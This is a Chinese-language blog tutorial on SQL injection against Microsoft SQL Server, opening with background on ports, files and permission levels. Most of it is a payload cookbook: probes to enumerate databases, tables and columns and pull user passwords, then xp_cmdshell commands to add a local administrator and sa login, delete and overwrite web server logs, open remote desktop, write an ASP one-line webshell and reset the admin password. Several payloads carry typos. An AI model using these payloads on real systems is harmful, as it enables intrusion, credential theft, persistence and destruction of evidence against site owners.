当前位置:   article > 正文

SQLServer/MsSql注入漏洞步骤、使用方法_sqlserver漏洞攻击

sqlserver漏洞攻击

1.什么是MsSql?

ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。

特点:

  • 高性能设计,可充分利用WindowsNT的优势
  • 系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置
  • 强壮的事务处理功能,采用各种方法保证数据的完整性
  • 支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台
  • sqlServer中是靠dbib来区分不同的数据库的,前四个数据库(1-4)是系统默认数据库;dbib可以当做SQL语句中的条件;

2.msSQL服务、端口、后缀

启动命令:

services.msc

端口号:

1433

当服务启动时,1433端口就会开启;服务关闭时,1433端口就会关闭。

数据库文件:

xxxx.mdf——数据库文件
xxxx.ldf——日志文件

当创建一个数据库时,会生成以上两个后缀类型的文件。

3.常见语句

  • 查询:select * from table1 where 范围
  • 插入:insert into table1(field1,field2) values(value1,value2)
  • 删除:delete from table1 where 范围
  • 更新:update table1 set field1=value1 where 范围
  • 查找:select * from table1 where field1 like ’%雷锋%’ —like的语法很精妙,查资料!不过会让索引失效,而select * from table1 where field1 like ’雷锋%’ 这句的的话索引是有效的!
  • 排序:select * from table1 order by field1,field2 [desc]
  • 总数:select count * as totalcount from table1
  • 求和:select sum(field1) as sumvalue from table1
  • 平均:select avg(field1) as avgvalue from table1
  • 最大:select max(field1) as maxvalue from table1
  • 最小:select min(field1) as minvalue from table1

4.msSQL数据库权限

sa权限: 数据库操作,文件管理,命令执行,注册表读取等——system(权限非常强大,超过root)
db权限: 文件管理,数据库操作等,相当于管理员——users-adminstrators
public权限: 数据库操作,相当于游客——guest-users

5.查找项目中的数据库

.asp项目中: 连接数据库的文件一般为conn.asp、dbconfig.asp
.aspx项目中: 连接数据库中的文件一般默认为web.config
连接数据的代码为:

<%
set conn=server.createobjct("adodb.connection");
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database_name";
%>
  • 1
  • 2
  • 3
  • 4

其中,provider是供应商,source人后面的是连接方式;local就是本地连接,可以通过输入ip进行远程连接;sa是内置的用户,密码是在安装SQLserver数据库的时候设置的;database后面是你要连接的数据库的名称。

6.注入语句

  • 判断是够存在注入
    and 1=1
    and 1=2
    /
    -0
  • 初步判断是否是msSQL
    and user>0
  • 判断数据库系统

msSQL数据库:
and(select count(*) from sysobjects)> 0
access数据库:
and (select count(*) from msysobjects)>0

  • 注入参数是字符
    ‘and [查询条件] and "=’
  • 搜索时没过滤参数的
    ‘and [查询条件] and ‘%25’=’
  • 猜表名
    and (select count(*) from [表名])>0
  • 猜字段
    and (select count([字段名]) from 表名)>0
  • 猜字段的长度(top 1代表第一个字段)
    and (select top 1 len(字段名) form 表名)>0
  • 猜字段的ASCII值

access数据库: and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
mssql数据库: and (select top 1 unicode(substring(字段名,1,1)) from
表名)>0

7.获取数据库版本信息

id=1 and 1=(select @@version)

8.获取数据库名称

1. 获取当前数据库:
id=1 and 1=(select db_name())
2.获取用户的第一个数据库:
and 1=(select top 1 name from master…sysdatavases where dbid>4)
3.获取用户的第二个数据库:
and 1=(select top 1 name from master…sysdatavases where dbid>5)

9.获取表名

1.获取第一张表:
?id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)
2.获取第二张表:
?id=1 and 1=(select top 1 name form sysobjects where xtype=‘u’ and name <> ‘第一张表名’)
2.获取第三张表:
?id=1 and 1=(select top 1 name form sysobjects where xtype=‘u’ and name <> ‘第一张表名’ and name <> ‘第二张表名’)

10.获取字段

1.获取第一个字段:
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘表名’))
2.获取第二个字段:
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘表名’) and name <> ‘第一个字段’)

11.获取数据

获取第一个用户的密码
?id=1 and 1=(select top 1 upass form 表名)

12.msSQL数据库另类玩法

一.基本信息收集

注入点权限判断:

and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否为系统管理员
and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
and 1=convert(int,db_name())或 1=(select db_name())//当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限

二.利用msSQL扩展存储注入攻击

检测与恢复扩展存储

检测xp_cmdshell扩展存储是否存在:
---- and 1=(select count() from master.dbo.sysobjects where xtype=‘x’ AND name=‘xp_cmdshell’)
检测xp_regread扩展存储过程是否存在:
---- and 1=(select count(
) form master.dbo.sysobjects where name=‘xp_regread’)

恢复扩展内存:
----EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;
----exec sp_dropextendedproc xp_cmdshell,‘xplog70.dll’

三.sa权限下扩展存储攻击利用方法

利用xp_cmdshell扩展执行任意命令

查看C盘:
---- drop table black
---- create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))–insert into black exec master…xp_cmdshell ‘dir c:’
---- and 1=(select top 1 mulu from black where id=1)

新建用户:
exec master…xp_cmdshell ‘net user test test /add’
将用户添加到管理员组当中:
exec master…xp_cmdshell ‘net localgroup administrators test /add’

添加和删除一个SA权限的用户test(需要SA权限):
---- exec master.dbo.sp_addlogin test,password
---- exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某个服务(需要SA权限):
---- exec master…xp_servicecontrol ‘stop’,‘schedule’
---- exec master…xp_servicecontrol ‘start’,‘schedule’

删除日志记录:
;exec master.dbo_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log > c:\temp.txt’
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log > c:\temp.txt’
开启远程数据库:
1.
;select * from OPENROWSET(‘SQLOLEDB’,‘server=servername;uid=sa;pwd=apachy_123’,‘select * from table1’)
2.
;select * from OPENROWSET(‘SQLOLEDB’,‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=200.200.200.1,1433;’,‘select * from table’)

四.打开3389端口(远程桌面)

;exec master…xp_cmdshell ‘sc config termservice start=auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add fDenyTSConnections /t REG_DWORD /d 0x0 /f’ //允许外部连接
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f’ //改端口到80

五.利用sp_makewebtask写入一句话木马

1、
;exec sp_makewebtask ‘c:\inetpub\wwwroot\x.asp’,‘select “<%eval request(“passwd”)%>”’–
2、
http://mssql.sql.com/aspx.aspx?id=1 ;exec sp_makewebtask ‘c:\inetpub\wwwroot\ms\x1.asp’,‘select’‘<%execute (request(“passwd”))%>’‘’–

六.修改管理员密码

update admin set password=123456 where username=‘admin’

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
  

闽ICP备14008679号